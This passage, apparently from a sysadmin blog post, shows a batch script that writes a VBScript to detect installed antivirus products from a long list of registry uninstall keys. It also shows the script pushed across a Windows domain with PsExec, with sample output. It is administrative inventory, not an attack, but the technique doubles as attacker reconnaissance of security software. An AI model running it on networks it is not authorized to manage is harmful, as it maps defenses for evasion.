    echo Keys(199)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AVG8Uninstall" >>temp.vbs

    echo AppName(200)="PER Antivirus" >>temp.vbs
    echo Keys(200)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PER Antivirus" >>temp.vbs

    echo AppName(201)="The Hacker Anti-Virus 5.5" >>temp.vbs
    echo Keys(201)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\The Hacker Exchange" >>temp.vbs

    echo AppName(202)="ALWIL Avast 4.6 NT" >>temp.vbs
    echo Keys(202)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\avast!" >>temp.vbs

    echo AppName(203)="eSafe Desktop v3" >>temp.vbs
    echo Keys(203)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\eSafe Protect" >>temp.vbs

    echo AppName(204)="Norman Virus Control" >>temp.vbs
    echo Keys(204)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{74C8BF56-6618-49AA-98BA-862223900CBF}" >>temp.vbs

    echo AppName(205)="Norman Virus Control 5.90 Single User" >>temp.vbs
    echo Keys(205)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{45AB1603-3EBD-4F78-9A0B-392FC8C23B7A}" >>temp.vbs

    echo AppName(206)="Norman Virus Control 5.99.0600 Single/Corporate" >>temp.vbs
    echo Keys(206)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{704C87B4-B089-4415-BCE0-CBE76172F104}" >>temp.vbs

    echo AppName(207)="Norman Virus Control 5.90 Corporate" >>temp.vbs
    echo Keys(207)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A0C4D811-D09C-4D4C-AD7E-3D761AE34A6D}" >>temp.vbs

    echo AppName(208)="Armour Virus Control 5.8" >>temp.vbs
    echo Keys(208)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{47D8CF23-D22D-4CE7-B2B3-00634C99985F}" >>temp.vbs

    echo AppName(209)="ESET Smart Security 3.0.621.0" >>temp.vbs
    echo Keys(209)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A1350B64-1AF8-497B-AC07-307DF67FB8D4}" >>temp.vbs

    echo AppName(210)="ESET Smart Security 3.0.650.0" >>temp.vbs
    echo Keys(210)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9DE8D465-A169-4CC7-BAF7-CDD1C9E2EE56}" >>temp.vbs

    echo AppName(211)="ESET NOD32 Antivirus 3.0.684.0" >>temp.vbs
    echo Keys(211)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4EAE8F8E-0C2E-4814-9A04-635AFB9050AA}" >>temp.vbs

    echo AppName(212)="ESET NOD32 Antivirus 3.0.667.0" >>temp.vbs
    echo Keys(212)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BE09EE20-119D-46FB-8562-0AE27B7E4763}" >>temp.vbs

    echo AppName(213)="ESET NOD32 Antivirus 3.0.621.0" >>temp.vbs
    echo Keys(213)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{57ECFB4D-FE11-491A-9AA0-0AF7C3ABC51D}" >>temp.vbs

    echo AppName(214)="ESET NOD32 Antivirus 3.0.650.0" >>temp.vbs
    echo Keys(214)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{86A6E235-C08F-4A14-B14C-793C7D8844A0}" >>temp.vbs

    echo AppName(215)="NOD32 AV 3.2.642.0" >>temp.vbs
    echo Keys(215)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7D974ACA-4EE5-412C-8E6A-A5B57B305727}" >>temp.vbs

    echo AppName(216)="NOD32 AV" >>temp.vbs
    echo Keys(216)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\NOD32" >>temp.vbs

    echo AppName(217)="F-Prot for Windows" >>temp.vbs
    echo Keys(217)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9FD12630-1991-46F5-8479-92DE1EAE87DA}" >>temp.vbs

    echo AppName(218)="Hauri VMS 2.0" >>temp.vbs
    echo Keys(218)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VMS Client 2.0" >>temp.vbs

    echo AppName(219)="Sophos Remote Update NT" >>temp.vbs
    echo Keys(219)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Remote Update" >>temp.vbs

    echo AppName(220)="Spybot Search & Destroy 1.3/1.4" >>temp.vbs
    echo Keys(220)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Spybot – Search & Destroy_is1" >>temp.vbs

    echo AppName(221)="Virus Buster 2001" >>temp.vbs
    echo Keys(221)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\{C90F3E44-3BF6-11D4-A110-00500405613A}" >>temp.vbs

    echo AppName(222)="Virus Buster 2000" >>temp.vbs
    echo Keys(222)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\³²Ù½ÊÞ½À?000" >>temp.vbs

    echo AppName(223)="Virus Buster 2000 for NT ver.1.20-" >>temp.vbs
    echo Keys(223)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9A861F26-E6A5-4ABE-A590-8EE405C1B612}" >>temp.vbs

    echo AppName(224)="Virus Buster 98 for NT" >>temp.vbs
    echo Keys(224)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\³¨Ù½ÊÞ½À?8" >>temp.vbs

    echo AppName(225)="Virus Buster 98" >>temp.vbs
    echo Keys(225)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\³²Ù½ÊÞ½À?98" >>temp.vbs

    echo AppName(226)="Virus Buster NT" >>temp.vbs
    echo Keys(226)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\³²Ù½ÊÞ½À°NT" >>temp.vbs

    echo AppName(227)="VirusBuster 95 1.0" >>temp.vbs
    echo Keys(227)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\³²Ù½ÊÞ½À?95" >>temp.vbs

    echo AppName(228)="VirusBuster Lite 1.0" >>temp.vbs
    echo Keys(228)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\³²Ù½ÊÞ½À?95 Lite" >>temp.vbs

    echo AppName(229)="VirusBuster 97" >>temp.vbs
    echo Keys(229)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\³²Ù½ÊÞ½À?97" >>temp.vbs

    echo AppName(230)="VirusBuster 97 Lite" >>temp.vbs
    echo Keys(230)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\³²Ù½ÊÞ½À?7 Lite" >>temp.vbs

    echo AppName(231)="ServerProtect for Windows NT" >>temp.vbs
    echo Keys(231)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ServerProtect for NT" >>temp.vbs

    echo AppName(232)="McAfee NetShield NT 4.03a" >>temp.vbs
    echo Keys(232)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\NetShield NT" >>temp.vbs

    echo AppName(233)="McAfee NetShield 4.5" >>temp.vbs
    echo Keys(233)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\NETSHLD_4500" >>temp.vbs

    echo AppName(234)="Microsoft Forefront Client Security Antimalware Service 1.0.1703.0" >>temp.vbs
    echo Keys(234)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D3E31640-DC20-4722-A1CF-604FF6C540B0}" >>temp.vbs

    echo AppName(235)="Microsoft Forefront Client Security State Assessment Service 1.0.1703.0" >>temp.vbs
    echo Keys(235)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E8B56B38-A826-11DB-8C83-0011430C73A4}" >>temp.vbs

    echo AppName(236)="Microsoft Forefront Client Security Antimalware Service 1.5.1941.9" >>temp.vbs
    echo Keys(236)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{436028CD-6476-4224-9274-8F0320F30FD1}" >>temp.vbs

    echo AppName(237)="Jiangmin Antivirus kv2008 – DL" >>temp.vbs
    echo Keys(237)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\kv2008" >>temp.vbs


    echo On Error Resume Next >>temp.vbs
    echo Set WshShell = WScript.CreateObject("WScript.Shell")  >>temp.vbs

    echo i=0  >>temp.vbs
    echo For Each Key in Keys  >>temp.vbs
    echo   Err.Clear  >>temp.vbs
    echo   WshShell.RegRead Key + ""  >>temp.vbs
    echo   If Err = 0 Then  >>temp.vbs
    echo    WScript.StdOut.Write(vbCRLF + "Detected: " + AppName(i) + vbCRLF + vbCRLF)   >>temp.vbs
    echo   End If  >>temp.vbs
    echo   i=i+1  >>temp.vbs
    echo Next  >>temp.vbs
    cscript //B temp.vbs
    del temp.vbs

    Here’s what some results might look like:

    C:\SysInternals\PsTools>psexec \\* -n 5  -c avscan.bat

    PsExec v1.97 – Execute processes remotely
    Copyright (C) 2001-2009 Mark Russinovich
    Sysinternals – www.sysinternals.com

    Enumerating domain…
    […]

    \\PC0000051:
    Timeout accessing PC0000051.
    \\PC0000055:

    Detected: Symantec Endpoint Protection 11.0.3001.2224

    avscan.bat exited on PC0000055 with error code 0.
    \\PC0000062:

    avscan.bat exited on PC0000062 with error code 0.
    \\PC0000072:

    Detected: Symantec Endpoint Protection 11.0.3001.2224

    avscan.bat exited on PC0000072 with error code 0.
    \\PC0000083:

    avscan.bat exited on PC0000083 with error code 0.
    \\PC0000084:
    Timeout accessing PC0000084.
    \\PC0000099:
    Timeout accessing PC0000099.
    \\PC0000157:


    Detected: Symantec Endpoint Protection 11.0.3001.2224
    ^C

    Well, you get the idea. I would recommend turning off the -n 5 switch, I was just impatient, and figured there’s probably not a lot of machines left turned on on my network at this time of evening.

    Like most things I do with psexec, you should probably work this into some kind of GPO if you actually care about doing it the “right” way, but to me, this is far more entertaining.

    Enjoy,
    Chris